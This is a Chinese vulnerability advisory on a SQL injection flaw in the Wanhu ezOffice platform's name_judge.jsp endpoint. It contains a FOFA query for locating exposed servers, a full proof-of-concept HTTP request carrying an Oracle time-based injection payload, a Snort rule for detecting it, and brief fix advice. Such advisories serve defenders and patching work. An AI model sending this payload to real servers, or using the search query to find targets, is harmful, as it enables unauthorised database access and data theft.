

万户ezOffice-name_judge-sql注入

万户ezOffice-name_judge-sql注入，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

万户ezOffice

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：title="万户ezOFFICE协同管理平台" || title="ezOFFICE协同管理平台" || title="WanhuezOFFICE" || title="ezOffice for iPhone" || body="EZOFFICEUSERNAME" || body="whirRootPath" || body="/defaultroot/js/cookie.js" || header="LocLan" || (banner="/defaultroot/sp/login.jsp" && banner="Set-Cookie: JSESSIONID=") || (header="Set-Cookie: OASESSIONID=" && (title="ezOFFICE" || body="whir.util.js" || body="var ezofficeUserPortal_ = Cookie("ezofficeUserPortal");"))

POC/EXP：

```
POST /defaultroot/modules/govoffice/custom_documentmanager/name_judge.jsp;.js
HTTP/1.1
Host:127.0.0.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Cookie: OASESSIONID=EBC412E0A66224729E28BB774F632430
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
```

formType=1+AND+1337=DBMS_PIPE.RECEIVE_MESSAGE('any',5)--&govFormName=&formId=

The top screenshot shows the request details in the browser's developer tools. The request is a POST to /defaultroot/modules/govoffice/custom_documentmanager/name_judge.jsp;.js. The headers include Host: 127.0.0.1, Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7, User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36, Accept-Encoding: gzip, deflate, Accept-Language: zh-CN,zh;q=0.9, Content-Type: application/x-www-form-urlencoded, Cookie: OASESSIONID=EBC412E0A66224729E28BB774F632430, Cache-Control: max-age=0, and Upgrade-Insecure-Requests: 1. The request body is formType=1+AND+1337=DBMS_PIPE.RECEIVE_MESSAGE('any',5)--&govFormName=&formId=.

The bottom screenshot shows the response details. The response is a 200 OK from the Apache-Coyote/1.1 server. The headers include Server: Apache-Coyote/1.1, Cache-Control: no-store, Pragma: no-cache, Expires: Thu, 01 Jan 1970 00:00:00 GMT, Content-Type: text/html; charset=UTF-8, Date: Wed, 30 Jul 2025 01:47:04 GMT, and Content-Length: 1.

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"wanhu ezOffice - Oracle Time-Based SQLi in name_judge.jsp";
  flow:to_server,established;
  content:"POST"; http_method;

  content:"/defaultroot/modules/govoffice/custom_documentmanager/name_judge.jsp";
  http_uri;
  content:"formType="; http_client_body;
  pcre:"/formType=[^&]*\d+\s*=\s*DBMS_PIPE\.RECEIVE_MESSAGE\([^)]*\)\s*--/i";
  metadata:service http;
  metadata:affected_product "万户ezOffice";
  metadata:vulnerability_type "Oracle Time-Based SQL Injection";
  classtype:sql-injection;
  sid:1000392;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。